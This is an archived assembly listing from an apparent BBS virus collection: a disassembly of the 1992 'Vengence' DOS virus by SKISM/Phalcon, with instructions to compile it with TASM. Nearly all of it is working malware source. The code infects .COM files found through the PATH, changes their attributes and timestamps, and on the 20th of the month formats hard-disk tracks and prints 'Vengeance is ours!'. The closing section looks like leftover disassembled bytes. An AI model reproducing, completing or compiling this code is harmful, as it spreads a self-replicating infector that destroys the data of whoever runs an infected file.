home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / veng1.asm < prev    next >
Assembly Source File  |  1992-06-25  |  18KB  |  467 lines

  1.  
  2. ;*****************************************************************************
  3. ;    Disassembly of the Vengence Virus (SKISM/Phalcon)
  4. ;    Disassembled By Natas Kaupas [YAM]
  5. ;
  6. ;    Save this and compile this with TASM.
  7. ;*****************************************************************************
  8. PAGE  59,132
  9.  
  10. data_1e           equ     0                       ; (0000:0000=7Ah)
  11. data_6e           equ     100h                    ; (0000:0100=59h)
  12. data_7e           equ     0                       ; (8096:0000=0)
  13. data_8e           equ     2Ch                     ; (8096:002C=0)
  14. data_9e           equ     3Dh                     ; (8096:003D=0)
  15. data_10e  equ     52h                     ; (8096:0052=0)
  16. data_11e  equ     92h                     ; (8096:0092=0)
  17. data_12e  equ     0A8h                    ; (8096:00A8=0)
  18. data_13e  equ     0ACh                    ; (8096:00AC=0)
  19. data_14e  equ     0B0h                    ; (8096:00B0=0)
  20.  
  21. seg_a             segment byte public
  22.           assume  cs:seg_a, ds:seg_a
  23.  
  24.  
  25.           org     100h
  26.  
  27. veng              proc    far
  28.  
  29. start:
  30.           jmp     short loc_1             ; (0111)
  31.           db      15 dup (90h)
  32. loc_1:
  33.           push    cx
  34.           mov     dx,327h
  35.           cld                             ; Clear direction
  36.           mov     si,dx
  37.           add     si,3Dh
  38.           mov     di,offset ds:[100h]     ; (8096:0100=0EBh)
  39.           mov     cx,3
  40.           rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  41.           mov     si,dx
  42.           mov     ax,0FF0Fh
  43.           int     21h                     ; ??INT Non-standard interrupt.
  44.           cmp     ax,101h
  45.           jne     loc_2                   ; Jump if not equal
  46.           jmp     loc_25                  ; (0315)
  47. loc_2:
  48.           push    es
  49.           mov     ah,2Fh                  ; '/'
  50.           int     21h                     ; DOS Services  ah=function 2Fh
  51.                                           ;  get DTA ptr into es:bx
  52.           mov     [si+33h],bx
  53.           nop
  54.           mov     [si+35h],es
  55.           pop     es
  56.           mov     dx,data_11e             ; (8096:0092=0)
  57.           nop
  58.           add     dx,si
  59.           mov     ah,1Ah
  60.           int     21h                     ; DOS Services  ah=function 1Ah
  61.                                           ;  set DTA to ds:dx
  62.           nop
  63.           push    es
  64.           push    si
  65.           mov     es,ds:data_8e           ; (8096:002C=0)
  66.           mov     di,data_1e              ; (0000:0000=7Ah)
  67. loc_3:
  68.           pop     si
  69.           push    si
  70.           add     si,43h
  71.           lodsb                           ; String [si] to al
  72.           mov     cx,8000h
  73.           repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
  74.           mov     cx,4
  75.  
  76. locloop_4:
  77.           lodsb                           ; String [si] to al
  78.           scasb                           ; Scan es:[di] for al
  79.           jnz     loc_3                   ; Jump if not zero
  80.           loop    locloop_4               ; Loop if cx > 0
  81.  
  82.           pop     si
  83.           pop     es
  84.           mov     [si+4Eh],di
  85.           mov     di,si
  86.           add     di,52h
  87.           mov     bx,si
  88.           add     si,52h
  89.           mov     di,si
  90.           jmp     short loc_10            ; (01B7)
  91. loc_5:
  92.           cmp     word ptr [si+4Eh],0
  93.           jne     loc_6                   ; Jump if not equal
  94.           jmp     loc_18                  ; (02C2)
  95. loc_6:
  96.           push    ds
  97.           push    si
  98.           mov     ds,es:data_8e           ; (8096:002C=0)
  99.          nop
  100.          mov     di,si
  101.          nop
  102.          mov     si,es:[di+4Eh]
  103.          nop
  104.          add     di,52h
  105.          nop
  106. loc_7:
  107.          nop
  108.          lodsb                           ; String [si] to al
  109.          nop
  110.          cmp     al,3Bh                  ; ';'
  111.          nop
  112.          jz      loc_9                   ; Jump if zero
  113.          nop
  114.          cmp     al,0
  115.          je      loc_8                   ; Jump if equal
  116.          stosb                           ; Store al to es:[di]
  117.          jmp     short loc_7             ; (0197)
  118. loc_8:
  119.          mov     si,data_7e              ; (8096:0000=0)
  120. loc_9:
  121.          pop     bx
  122.          pop     ds
  123.          mov     [bx+4Eh],si
  124.          cmp     ch,5Ch                  ; '\'
  125.          je      loc_10                  ; Jump if equal
  126.          mov     al,5Ch                  ; '\'
  127.          stosb                           ; Store al to es:[di]
  128. loc_10:
  129.          mov     [bx+50h],di
  130.          mov     si,bx
  131.          add     si,48h
  132.          mov     cx,6
  133.          rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  134.          mov     si,bx
  135.          mov     ah,4Eh                  ; 'N'
  136.          mov     dx,data_10e             ; (8096:0052=0)
  137.          add     dx,si
  138.          mov     cx,3
  139.          int     21h                     ; DOS Services  ah=function 4Eh
  140.                                          ;  find 1st filenam match @ds:dx
  141.          jmp     short loc_12            ; (01D8)
  142. loc_11:
  143.          mov     ah,4Fh                  ; 'O'
  144.          int     21h                     ; DOS Services  ah=function 4Fh
  145.                                          ;  find next filename match
  146. loc_12:
  147.          jnc     loc_13                  ; Jump if carry=0
  148.          jmp     short loc_5             ; (017A)
  149. loc_13:
  150.          mov     ax,ds:data_12e[si]      ; (8096:00A8=0)
  151.          and     al,1Ch
  152.          cmp     al,1Ch
  153.          je      loc_11                  ; Jump if equal
  154.          cmp     word ptr ds:data_13e[si],0F72Dh ; (8096:00AC=0)
  155.          ja      loc_11                  ; Jump if above
  156.          cmp     word ptr ds:data_13e[si],7C8h   ; (8096:00AC=0)
  157.          jb      loc_11                  ; Jump if below
  158.          mov     di,[si+50h]
  159.          push    si
  160.          add     si,data_14e             ; (8096:00B0=0)
  161. loc_14:
  162.          lodsb                           ; String [si] to al
  163.          stosb                           ; Store al to es:[di]
  164.          cmp     al,0
  165.          jne     loc_14                  ; Jump if not equal
  166.          pop     si
  167.          mov     ax,4300h
  168.          mov     dx,data_10e             ; (8096:0052=0)
  169.          add     dx,si
  170.          int     21h                     ; DOS Services  ah=function 43h
  171.                                          ;  get/set file attrb, nam@ds:dx
  172.          mov     [si+3Bh],cx
  173.          mov     ax,4301h
  174.          and     cx,0FFFEh
  175.          mov     dx,data_10e             ; (8096:0052=0)
  176.          add     dx,si
  177.          int     21h                     ; DOS Services  ah=function 43h
  178.                                          ;  get/set file attrb, nam@ds:dx
  179.          mov     ax,3D02h
  180.          mov     dx,data_10e             ; (8096:0052=0)
  181.          add     dx,si
  182.          int     21h                     ; DOS Services  ah=function 3Dh
  183.                                          ;  open file, al=mode,name@ds:dx
  184.          jnc     loc_15                  ; Jump if carry=0
  185.          jmp     loc_17                  ; (02B5)
  186. loc_15:
  187.          mov     bx,ax
  188.          mov     ax,5700h
  189.          int     21h                     ; DOS Services  ah=function 57h
  190.                                          ;  get/set file date & time
  191.          mov     [si+37h],cx
  192.          mov     [si+39h],dx
  193.          mov     ah,2Ch                  ; ','
  194.          int     21h                     ; DOS Services  ah=function 2Ch
  195.                                          ;  get time, cx=hrs/min, dh=sec
  196.          mov     ah,3Fh                  ; '?'
  197.          mov     cx,3
  198.          mov     dx,data_9e              ; (8096:003D=0)
  199.          add     dx,si
  200.          int     21h                     ; DOS Services  ah=function 3Fh
  201.                                          ;  read file, cx=bytes, to ds:dx
  202.          jc      loc_16                  ; Jump if carry Set
  203.          cmp     ax,3
  204.          jne     loc_16                  ; Jump if not equal
  205.          mov     ax,4202h
  206.          mov     cx,0
  207.          mov     dx,0
  208.          int     21h                     ; DOS Services  ah=function 42h
  209.                                          ;  move file ptr, cx,dx=offset
  210.          jc      loc_16                  ; Jump if carry Set
  211.          mov     cx,ax
  212.          sub     ax,3
  213.          mov     [si+41h],ax
  214.          add     cx,316h
  215.          mov     di,si
  216.          sub     di,214h
  217.          mov     [di],cx
  218.          mov     ah,40h                  ; '@'
  219.          mov     cx,2D3h
  220.          mov     dx,si
  221.          sub     dx,216h
  222.          int     21h                     ; DOS Services  ah=function 40h
  223.                                          ;  write file cx=bytes, to ds:dx
  224.          jc      loc_16                  ; Jump if carry Set
  225.          cmp     ax,2D3h
  226.          jne     loc_16                  ; Jump if not equal
  227.          mov     ax,4200h
  228.          mov     cx,0
  229.          mov     dx,0
  230.          int     21h                     ; DOS Services  ah=function 42h
  231.                                          ;  move file ptr, cx,dx=offset
  232.          jc      loc_16                  ; Jump if carry Set
  233.          mov     ah,40h                  ; '@'
  234.          mov     cx,3
  235.          mov     dx,si
  236.          add     dx,40h
  237.          int     21h                     ; DOS Services  ah=function 40h
  238.                                          ;  write file cx=bytes, to ds:dx
  239. loc_16:
  240.          mov     dx,[si+39h]
  241.          mov     cx,[si+37h]
  242.          and     cx,0FFE0h
  243.          or      cx,1Ch
  244.          mov     ax,5701h
  245.          int     21h                     ; DOS Services  ah=function 57h
  246.                                          ;  get/set file date & time
  247.          mov     ah,3Eh                  ; '>'
  248.          int     21h                     ; DOS Services  ah=function 3Eh
  249.                                          ;  close file, bx=file handle
  250. loc_17:
  251.          mov     ax,4301h
  252.          mov     cx,[si+3Bh]
  253.          mov     dx,data_10e             ; (8096:0052=0)
  254.          add     dx,si
  255.          int     21h                     ; DOS Services  ah=function 43h
  256.                                          ;  get/set file attrb, nam@ds:dx
  257. loc_18:
  258.          push    ds
  259.          mov     ah,1Ah
  260.          mov     dx,[si+33h]
  261.          mov     ds,[si+35h]
  262.          int     21h                     ; DOS Services  ah=function 1Ah
  263.                                          ;  set DTA to ds:dx
  264.          pop     ds
  265.          mov     ah,2Ah                  ; '*'
  266.          int     21h                     ; DOS Services  ah=function 2Ah
  267.                                          ;  get date, cx=year, dx=mon/day
  268.          cmp     dl,14h
  269.          jne     loc_25                  ; Jump if not equal
  270.          mov     ah,9
  271.          mov     dx,si
  272.          add     dx,0
  273.          int     21h                     ; DOS Services  ah=function 09h
  274.                                          ;  display char string at ds:dx
  275.          mov     dx,80h
  276. loc_19:
  277.          xor     ch,ch                   ; Zero register
  278. loc_20:
  279.          mov     ah,5
  280.          int     13h                     ; Disk  dl=drive 0  ah=func 05h
  281.                                          ;  format track=ch or cylindr=cx
  282.          cmp     dh,1
  283.          je      loc_21                  ; Jump if equal
  284.          inc     dh
  285.          jmp     short loc_20            ; (02E5)
  286. loc_21:
  287.          cmp     ch,20h                  ; ' '
  288.          je      loc_22                  ; Jump if equal
  289.          xor     dh,dh                   ; Zero register
  290.          inc     ch
  291.          jmp     short loc_20            ; (02E5)
  292. loc_22:
  293.          cmp     dl,81h
  294.          je      loc_23                  ; Jump if equal
  295.          mov     dl,81h
  296.          xor     dh,dh                   ; Zero register
  297.          jmp     short loc_19            ; (02E3)
  298. loc_23:
  299.          mov     ax,2509h
  300.          int     21h                     ; DOS Services  ah=function 25h
  301.                                          ;  set intrpt vector al to ds:dx
  302. loc_24:
  303.          mov     ah,2
  304.          mov     dl,7
  305.          int     21h                     ; DOS Services  ah=function 02h
  306.                                          ;  display char dl
  307.          jmp     short loc_24            ; (030D)
  308. loc_25:
  309.          pop     cx
  310.          xor     ax,ax                   ; Zero register
  311.          xor     bx,bx                   ; Zero register
  312.          xor     dx,dx                   ; Zero register
  313.          xor     si,si                   ; Zero register
  314.          mov     di,100h
  315.          push    di
  316.          xor     di,di                   ; Zero register
  317.          retn    0FFFFh
  318.          db      0Dh, 0Ah, '*** Vengeance is ours!'
  319.          db      ' ***', 0Dh, 0Ah, '$'
  320.          db      ' SKISM/Phalcon ', 27h, '92 $'
  321.          db      10 dup (0)
  322.          db      0CDh, 20h, 90h,0E9h, 00h, 00h
  323.          db      'PATH=*.COM'
  324.          db      0, 0, 0, 0, 0
  325. data_21          db      0
  326.          db      106 dup (0)
  327.          db       44h, 0Eh, 0Bh,0C0h, 7Eh, 0Ah
  328.          db      0FFh, 74h, 10h, 56h,0E8h, 76h
  329.          db       32h, 83h,0C4h, 04h
  330.          db      0E8h, 7Ch, 6Eh,0E8h, 3Ch, 69h
  331.          db      0F6h, 46h,0F0h, 04h, 74h, 03h
  332.          db      0E8h,0BEh, 82h
  333. loc_28:
  334.          test    byte ptr [bp-10h],2
  335.          jz      loc_29                  ; Jump if zero
  336.          call    $+7FBBh
  337. loc_29:
  338.          mov     ax,si
  339.          pop     si
  340.          mov     sp,bp
  341.          pop     bp
  342.          retn
  343.          push    bp
  344.          mov     bp,sp
  345.          sub     sp,1Ah
  346.          push    si
  347.          mov     word ptr [bp-18h],0
  348.          mov     word ptr [bp-0Ah],0
  349.          mov     word ptr [bp-14h],0
  350.          mov     word ptr [bp-6],0
  351.          mov     word ptr [bp-0Eh],0
  352.          mov     word ptr [bp-16h],0
  353.          mov     word ptr [bp-2],0
  354.          mov     word ptr [bp-12h],8CFDh
  355.          esc     3,[bp+di-7Dh]           ; coprocessor escape
  356.          retn
  357.          sub     ax,0DA03h
  358.          mov     bp,cs
  359.          mov     ax,dx
  360.          and     ah,0Fh
  361.          mov     cl,4
  362.          mov     si,dx
  363.          shl     si,cl                   ; Shift w/zeros fill
  364.          mov     cx,si
  365.          shr     cx,1                    ; Shift w/zeros fill
  366.          dec     si
  367.          dec     si
  368.          mov     di,si
  369.          sub     bp,ax
  370.          sub     bx,ax
  371.          mov     es,bp
  372.          mov     ds,bx
  373.          rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
  374.          cld                             ; Clear direction
  375.          mov     ds,bp
  376.          pop     es
  377.          push    es
  378.          mov     di,data_6e              ; (0000:0100=59h)
  379.          xor     si,si                   ; Zero register
  380.          lodsw                           ; String [si] to ax
  381.          xchg    ax,bp
  382.          mov     dx,10h
  383.          jmp     short loc_35            ; (04A5)
  384.          db      90h
  385. loc_30:
  386.          lodsw                           ; String [si] to ax
  387.          xchg    ax,bp
  388.          mov     dl,10h
  389.          jmp     short loc_37            ; (04B5)
  390. loc_31:
  391.          lodsw                           ; String [si] to ax
  392.          xchg    ax,bp
  393.          mov     dl,10h
  394.          jmp     short loc_38            ; (04BC)
  395. loc_32:
  396.          lodsw                           ; String [si] to ax
  397.          xchg    ax,bp
  398.          mov     dl,10h
  399.          jmp     short loc_39            ; (04C7)
  400.          lodsw                           ; String [si] to ax
  401.          xchg    ax,bp
  402.          mov     dl,10h
  403. ;*               jmp     short loc_42            ;*(04EF)
  404.          db      0EBh, 5Dh
  405.          lodsw                           ; String [si] to ax
  406.          xchg    ax,bp
  407.          mov     dl,10h
  408.          jmp     short $+60h
  409.          lodsw                           ; String [si] to ax
  410.          xchg    ax,bp
  411.          mov     dl,10h
  412.          jmp     short $+61h
  413. loc_33:
  414.          lodsw                           ; String [si] to ax
  415.          xchg    ax,bp
  416.          mov     dl,10h
  417.          jc      loc_36                  ; Jump if carry Set
  418. loc_34:
  419.          movsb                           ; Mov [si] to es:[di]
  420. loc_35:
  421.          shr     bp,1                    ; Shift w/zeros fill
  422.          dec     dx
  423.          jz      loc_33                  ; Jump if zero
  424.          jnc     loc_34                  ; Jump if carry=0
  425. loc_36:
  426.          xor     cx,cx                   ; Zero register
  427.          xor     bx,bx                   ; Zero register
  428.          shr     bp,1                    ; Shift w/zeros fill
  429.          dec     dx
  430.          jz      loc_30                  ; Jump if zero
  431. loc_37:
  432.          rcl     bx,1                    ; Rotate thru carry
  433.          shr     bp,1                    ; Shift w/zeros fill
  434.          dec     dx
  435.          jz      loc_31                  ; Jump if zero
  436. loc_38:
  437.          rcl     bx,1                    ; Rotate thru carry
  438.          test    bx,bx
  439.          jz      loc_41                  ; Jump if zero
  440.          shr     bp,1                    ; Shift w/zeros fill
  441.          dec     dx
  442.          jz      loc_32                  ; Jump if zero
  443. loc_39:
  444.          rcl     bx,1                    ; Rotate thru carry
  445.          cmp     bl,6
  446.          jb      loc_41                  ; Jump if below
  447.          shr     bp,1                    ; Shift w/zeros fill
  448.          dec     dx
  449.          jnz     loc_40                  ; Jump if not zero
  450.          lodsw                           ; String [si] to ax
  451.          xchg    ax,bp
  452.          mov     dl,10h
  453. loc_40:
  454.          rcl     bx,1                    ; Rotate thru carry
  455. loc_41:
  456.          mov     cl,byte ptr cs:[15Eh][bx]       ; (8096:015E=0B9h)
  457.          cmp     cl,0Ah
  458.          je      $+76h                   ; Jump if equal
  459.  
  460. veng             endp
  461.  
  462. seg_a            ends
  463.  
  464.  
  465.          end     start
  466.  
  467.